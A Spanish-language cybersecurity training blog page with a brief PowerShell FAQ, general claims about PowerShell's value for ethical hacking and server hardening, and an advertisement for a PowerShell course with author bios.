¿Cómo ejecuto comandos de PowerShell?
Abra la consola de PowerShell: en Windows, haga clic derecho en el botón Inicio y seleccione ” Windows PowerShell ” para privilegios normales, o ” Windows PowerShell (Admin) ” para privilegios elevados. Ingrese el nombre del cmdlet/script (la extensión “ps1” se puede omitir). Si el cmdlet/script requiere parámetros, introdúzcalos también. Finalmente, presione Enter/Return .
¿Cómo aprendo PowerShell?
Utilice esta hoja de referencia como punto de partida o repaso y explore la documentación oficial de PowerShell de Microsoft . Además, consulte nuestros cursos sobre Windows Server / Azure .
¿Puedo usar PowerShell en Linux o macOS?
Si, absolutamente. Aprenda cómo instalar PowerShell en macOS aquí y en Linux aquí .
¿Cuál es la diferencia entre PowerShell y cmd.exe?
PowerShell le permite manipular objetos que contienen datos complejos, superando la principal limitación del símbolo del sistema (cmd.exe) en cuanto a los tipos de datos permitidos.
Powershell al Descubierto: Más Allá de un Lenguaje de Scripting
Ya sabemos que Powershell no es solo un lenguaje de scripting, es una puerta de entrada al mundo de la automatización y administración de sistemas. Este recurso de Microsoft se convierte en un aliado clave para los profesionales del hacking ético. Powershell se convierte en el motor de la automatización en el hacking ético. Desde ejecutar scripts hasta gestionar procesos, esta herramienta se erige como el pilar fundamental para optimizar tareas y fortalecer sistemas.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2023/11/Red-Rabbit.gif?resize=940%2C765&ssl=1)
Hacking Ético: Más que una Destreza, una Responsabilidad
Powershell se presenta como la herramienta ideal para detectar y neutralizar posibles amenazas antes de que causen daño. El hardening, o fortalecimiento, de servidores es crucial en el mundo digital actual. Powershell simplifica este proceso, desde configurar políticas de seguridad hasta automatizar auditorías, asegurando que tus servidores estén a salvo de posibles ataques.
Ejemplos Prácticos: Desarrollando Habilidades con Powershell
Los profesionales de la seguridad emplean Powershell para fortalecer la infraestructura de servidores. Desde la detección de vulnerabilidades hasta la respuesta rápida a posibles amenazas.
Recursos Gratuitos en Español sobre Powershell
- Documentación Oficial de Microsoft en Español: La documentación oficial de Powershell de Microsoft en español proporciona información detallada y tutoriales para aprender desde cero.
- GitHub – Scripts y Proyectos en Español: Explora proyectos y scripts en español relacionados con Powershell en GitHub.
- GitHub: Powershell: Explora repositorios comunitarios en GitHub, donde la comunidad comparte scripts y ejemplos útiles para fortalecer tus habilidades.
No te detengas, sigue avanzando
La inteligencia de código abierto es un arte y una ciencia que evoluciona constantemente. Con más de 5000 herramientas recopiladas en este artículo, solo hemos arañado la superficie de las posibilidades infinitas que el OSINT ofrece. Al incorporar estas herramientas en tu caja de herramientas digital, te conviertes en un investigador más ágil y eficiente. Pero recuerda, con gran poder viene una gran responsabilidad; utiliza estas habilidades con ética y respeto por la privacidad. ¡Adelante, adéntrate en el fascinante mundo del OSINT y lleva tu capacidad de investigación al siguiente nivel!
Aquí tienes un propósito para este 2024 que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera!
Powershell para Administración de Servidores y Seguridad.
Aprende Powershell desde 0, a crear scripts y herramientas para administrar y brindar seguridad a tu servidor.
Calificación: 4 de 5 (140 calificaciones) 11.394 estudiantes Creado por Alvaro Chirou • 1.800.000+ Enrollments Worldwide, Walter Coto || +450,000 Estudiantes, Kevin Lopez || +87,000 Estudiantes
Lo que aprenderás
- Aprenderas el manejo de Powershel y sus funcionalidades en servidores
- Conoceras las definiciones basicas de programacion aplicadas en powershell
- Conoceras los conceptos basicos de powershell
- Aprenderas la forma de como crear scripts y ejecutarlos mediante la consola de powershell
- Medidas a tener en cuenta en la ciberseguridad con powershell
- Aprenderas a como administrar carpetas compartidas con powershell
- Administracion de usuarios de un servidor y sistema operativo comun usando powershell
Este curso incluye:
- 5,5 horas de vídeo bajo demanda
- Tareas
- 1 artículo
- 1 recurso descargable
- Acceso en dispositivos móviles y TV
- Certificado de finalización
Windows es hoy uno de los sistemas operativos más utilizados, más cuando hablamos de Servidores. Por ello saber powershell es un conocimiento además de muy útil, muy bien valorado.
¿Quieres aprender powershell desde 0?
¿Te gustaría saber como crear scripts en powershell?
¿Buscas aplicar seguridad a tus servidores con powershell?
Si la respuesta a algunas de estas preguntas es que si, este curso es para ti.
Empieza a aprender powershell sin conocimientos previos, donde te enseñaremos todo lo que necesitas saber sobre el manejo de esta consola de Windows para que puedas administrar de forma avanzada Windows.
La ventaja de saber powershell es que permite automatizar y crear scripts para aumentar la seguridad en tu servidores con Windows.
Aprende Powershell para Administración de Servidores y Seguridad sin necesitar conocimientos Previos. Practica Hacking Ético y Ciberseguridad aquí: https://achirou.com/powershell
Aprende con nuestros más de 100 cursos que tenemos disponibles para vos
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
![](https://i0.wp.com/achirou.com/wp-content/uploads/2023/11/image.png?resize=549%2C67&ssl=1)
Sobre los autores
Álvaro Chirou
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes serguirme en mis redes:
Laprovittera Carlos
Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:
¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/como-iniciarse-en-ciberseguridad-y-hacking-en-2024/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.